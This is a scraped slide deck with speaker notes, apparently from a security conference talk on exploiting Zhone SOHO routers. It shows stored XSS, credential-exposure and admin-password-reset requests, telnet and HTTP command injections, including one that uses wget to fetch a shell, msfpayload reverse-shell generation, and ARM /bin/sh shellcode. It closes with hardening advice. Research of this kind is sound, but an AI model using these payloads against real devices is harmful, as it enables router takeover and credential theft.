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Advanced SOHO Router Exploitation XCON



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Advanced SOHO Router Exploitation XCON

  1. 1. Advanced SOHO Router Exploitation Lyon Yang / @l0Op3r
  2. 2. • Hi everyone my name is Lyon Yang • I hack IoT and embedded systems. • I live in sunny Singapore. • Singapore is a smart city with IoT already deployed. • Taxi drivers in SG will become robots. • I work at a company called Vantage Point • Strongest technical team in Singapore/SE Asia. • Large collective of passionate hackers. • Working in the financial and government sectors.
  3. 3. Today I want to share with you a story: • 1 year ago, I set about to try and become the “corelan” of ARM and MIPS exploitation - a formidable task! • I wanted to fully understand embedded systems and try to contribute back into the community. • and in the process pop many shells!
  4. 4. Who Am I ? I am a rather regular guy… • Basic understanding of ASM and exploitation • Attended some training events myself • Corelan, HITB, OSCP Practice Makes Perfect • I started buying embedded devices and ‘playing’ • Working on IoT till 2-3am most mornings.
  5. 5. Immature • The current state of embedded hacking • Rather immature.  I learnt quickly that tools don’t work.  A lot of things crash..  Support that was supported, isn’t actually supported.  Answers on StackOverflow are very limited…
  6. 6. 1990s The state of IoT and embedded security. Equally as immature as the tools. • “1990 called” - Send our bugs back • Basic strcpy/memcpy exploits • Not much privilege separation • Unsecured host OS • Backdoors are often ‘vendor features’ • Not all vendors care about security
  7. 7. Attack Surface • Attack Surface of IoT • Think of IoT devices as miniature computers • ARM or MIPS CPU • “Hard-Drive” is a memory IC • Runs Linux (typically) • Communicate over WiFi/Wired • HTTPD, UnPnP, FTPD, SSHD, TelnetD
  8. 8. Hardware Hardware Attacks: • Image the IoT device as soon as possible • This involves dumping the memory IC. Not a difficult task. • Few hundred $ of gear • Hot-Air Gun “Rework Station” • IC Pick Adapter (SOP 20) • IC Pick
  9. 9. Dump Firmware Other alternatives • Firmware updates are often online • Can be unpacked using freely available tools (binwalk, fmk, squashfs) Once we have the Firmware – its digging time. • Identify all software on the device • Find all shared libraries (Look for custom ones) • Find each available Software Input / Entry Point • It does not take long before your finding shells.
  10. 10. At Vantage Point I work with IoT vendors within SE Asia Network Services (httpd/telnetd…) – Found more stack overflows than you can count – “Every string was insecurely handled” Admin “restricted” Shells • command1 | sh • sh • dumpmem/readmem
  11. 11. Bugs • Backdoor User(s) • Security Implemented in Client Side • Debug interfaces left active • File Upload -> Shell • Arbitrary File Read (../../../../) • Command Injection • Stack Overflows • Unauthorized Remote Access via UPnP
  12. 12. In IoT we want Remote Unauthenticated bugs • Large scale device compromises. • Telnetd & httpd are first targets • Daemon re-spawn on crash • Lots of unauthenticated content • Both run as root • Remote access often allowed • Many fuzzing tools available • HTTP is a big protocol!
  13. 13. • Developers typically modify open source software • Customized to meet their own needs. • MicroHTTPD, BusyBox. • This requires you are a strong C, C++ Developer • Most developers now-a-days, are not so strong. • Customizations exactly where we find bugs. • Stack Overflows in vendor modifications • Additional File Handlers or HTTP Methods • Authentication • Password Reset • Log File Access
  14. 14. • Typically I find bugs like these: • All hail the might of IoT Security
  15. 15. ZHONE Zhone Technologies is a Global Leader in Fiber Access Transformation for Service Provider and Enterprise Networks! Based in the US Reference from
  16. 16. Telcos using Zhone Routers • Reference from Shodan
  17. 17. Attacking your tech support Stored XSS • POST /zhnsystemconfig.cgi?snmpSysName=ZNI D24xxA- Route&snmpSysContact=Zhone%20Glob al%20Support&snmpSysLocation=www.z %3Cscript%3Ealert(1)%3C/script%3E&s essionKey=1853320716 HTTP/1.1 Host:
  18. 18. Privilege Escalation CVE-2014-8356 Privilege Escalation via Javascript Controls Access Control via Javascript! (Horrible!) Direct Object Reference to administrative functions!
  19. 19. Plaintext Passwords All username and passwords usually found in the backup settings file! CVE-2014-8537 – Exposed Plaintext Username & Passwords Passwords found to be BASE64 encoded in backup settings file. GET /backupsettings.conf?action=getConfi g&sessionKey=
  20. 20. Privilege Escalation Again? POST /uploadsettings.cgi HTTP/1.1 Host: -----------------------------75010019812050198961998600862 Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf <?xml version="1.0"?> <DslCpeConfig version="3.2"> … <AdminPassword></AdminPassword> … </DslCpeConfig> 5 -----------------------------75010019812050198961998600862—
  21. 21. Command Injection (Telnetd) CVE-2014-9118 Command Injection via the telnetd session # download-sw “ftp://123:213@213/;ls -la”
  22. 22. Command Injection (HTTPD) • Favourite way to look for Command Injection via IDA Pro: Search for keyword “shell” in IDA PRO: Sample Exploit: /zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAd dr=|wget%20http:// O%20/tmp/shell&ttl=30&wait=3&queries=3
  23. 23. 23 x41x41x41x41 GET /.htmlAAAAA…(7000 ‘A’)…AAAA.html POST /.tst HTTP/1.1 Host: AAAA…..AAAA (7000 Characters)
  24. 24. 24 Stack Executable Stack commonly found to be executable
  25. 25. Cache Incoherency Reference:
  26. 26. 26 MIPS Cache Incoherency First two ROP Gadgets  Call the sleep function from libc library to flush the MIPS Data Cache. For that we need two ROP Gadgets 1. Setup value 1 in $a0 2. Call libc sleep function
  27. 27. 27 Bypass ASLR Last two ROP Gadgets  Copy address of stack and jump to stack to execute shellcode
  28. 28. 28 ROP Gadgets Commonly Craig Heffner IDA Script works best for looking for ROP Gadgets: Example:
  29. 29. 29 Excited to POP Shell!
  30. 30. 30 Generate Shellcode Generate Shellcode: msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost= R Bad Characters Problem! : 0x20 0x00 0x3a 0x0a 0x3f Encode Shellcode: msfencode -e mipsbe/longxor -b '0x20 0x00 0x3a 0x0a 0x3f' -t c
  31. 31. 31 No Shell?? No Shell!? Traced through GDB Debugger 1. ROP Gadgets worked fine 2. Shellcode decodes correctly
  32. 32. 32 Bad Characters
  33. 33. 33 MIPS Encoder
  34. 34. 34 Shell Died Instantly?!
  35. 35. 35 Problem Router monitors, kills and re-spawns HTTPD service Solution: Fork the shellcode
  36. 36. 36 MIPS Exploit Writing Clear Cache  Sleep() ASLR  Use ROP Gadget to jump to Stack Bad Characters  Wrote your own encoder Auto-Respawn Process Monitoring  Fork the Shellcode Process
  37. 37. 37 0-Day Demo DEM OIf time permits we’ll learn briefly how to write the 0-Day MIPS Exploit later!
  38. 38. 38 Same issues in ARM Cache Incoherency  Just encode the data portion ASLR  Use ROP Gadget to jump to Stack Bad Characters  Wrote your own encoder Auto-Respawn Process Monitoring  Fork the Shellcode Process
  39. 39. Cache Incoherency • Self-modifying code (Encoder/Decoder) would commonly cause Cache Incoherency • Instructions stored in Instruction Cache will execute instead of Data Cache • Modified Shellcode is stored in Data Cache and will not execute Reference:
  40. 40. Cache Incoherency (ARM) • Encode and decode only the data portion of the shellcode. Data is not considered as Instructions!
  41. 41. Sample ARM Shellcode _start: .code 32 add r3, pc, #1 bx r3  Switch to "Thumb Mode (16-bit)” .code 16 mov r0, pc  (We place the address of pc in r0) add r0, #10  Add 10 to r0 (point to //bin/sh) str r0, [sp, #4]  Place it on the stack add r1, sp, #4  Copy location of /bin/sh to r1 sub r2, r2, r2  “Set r2 to 0” (Null byte free instructions) mov r7, 11  syscall execve in r7 svc 1  Execute syscall .ascii "//bin/sh0” Data Portion
  42. 42. Decoding Data Decoder Shellcode (Instructions) Shellcode (Encoded Data) Decode Read Data Shellcode (Decoded Data) Instruction Cache Data Cache
  43. 43. ARMEncoder ARMCoder (Alpha Stage) • Mthumb encoder (Encodes all or part of your ARM Shellcodes) • Provides you with an encoder • Objdump your shellcode binary to specific formats like C: "x41x42x43x44” Upcoming features • Detects for bad characters • 32bit encoder • Generates Shellcode • Accept other forms of shellcode input. (Currently only supports reading from binary) • Added support for MIPS Architecture • Download Link:
  44. 44. How do we protect against these attacks? • Securing the web application: – Back to basics like implementing input filtering, proper session management etc (OWASP) • Insecure C Programs – Do not use insecure C functions like strcpy(), memcpy() etc – Compile binary with secure parameters like: -fstack-protector-all -pie -fPIE -- D_FORTIFY_SOURCE=2
  45. 45. Awesome References! • Craig Heffner • Johnathan Salwan http://shell-
  46. 46. Special Thanks • Bernhard Mueller • Paul Craig • Stefan Streichsbier • Roberto Suggi Liverani • Han Lee • Ryan Baxendale
  47. 47. 47 Contact Me Email: Twitter/Github: @l0Op3r

Editor's Notes

  • Pentester at Vantage Point
    ----- Meeting Notes (17/8/15 13:35) -----
    from Singapore
    love to hack iot

  • ----- Meeting Notes (17/8/15 13:35) -----
    corelan the x86 guy
  • Different Vendors same software

  • ----- Meeting Notes (18/8/15 06:01) -----
    Two favourite services, httpd and telnetd

  • ----- Meeting Notes (17/8/15 13:35) -----
    Discover all kind of bugs
  • Talk about how singapore is affected
    Wan by default
    Only users privileges
  • Common that lots of functionalities can be accessed directly
    Get all filenames and extensions and bruteforce without valid session
  • Other vendors unauth
    Very common password is just encoded
  • Direct object reference again
  • Common to have command injection everywhere

  • ----- Meeting Notes (18/8/15 11:44) -----
    x86 eip pointer
  • Same Code Instruction Cache Data Cache
    Self modifying code only modify code in the data cache
    Instruction Cache takes priority

  • force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically. 
    Could probably use NOP SLED
    But sometimes dosent always work.

    Cleanest way to do it is to flush it!
  • Problems with msf encoder
    So probably have to encode the bad bytes ourselves
  • Spawn 4 shells to show how reliable
    Evil things you can do
    Hack other internal users in the vlan
    Like ISP tech support team or subscribers
  • Reference:
  • MIPS Sleep function
    ARM have assembly code for flush with bad characters
  • -Wall -Wextra
    Turn on all warnings to help ensure the underlying code is secure.

    -Wconversion -Wsign-conversion
    Warn on unsign/sign conversion

    Warn about uses of format functions that represent possible security problems

    Turns all warnings into errors.

    -arch x86_64
    Compile for 64-bit to take max advantage of address space (important for ASLR; more virtual address space to chose from when randomising layout).

    -fstack-protector-all -Wstack-protector --param ssp-buffer-size=4
    Your choice of "-fstack-protector" does not protect all functions (see comments). You need -fstack-protector-all to guarantee guards are applied to all functions, although this will likely incur a performance penalty. Consider -fstack-protector-strong as a middle ground.
    The -Wstack-protector flag here gives warnings for any functions that aren't going to get protected.

    -pie -fPIE
    For ASLR

    Generates traps for signed overflow (currently bugged in gcc)

    Buffer overflow checks. See also difference between =2 and =1

    RELRO (read-only relocation). The options relro & now specified together are known as "Full RELRO". You can specify "Partial RELRO" by omitting the now flag. RELRO marks various ELF memory sections read­only (E.g. the GOT)

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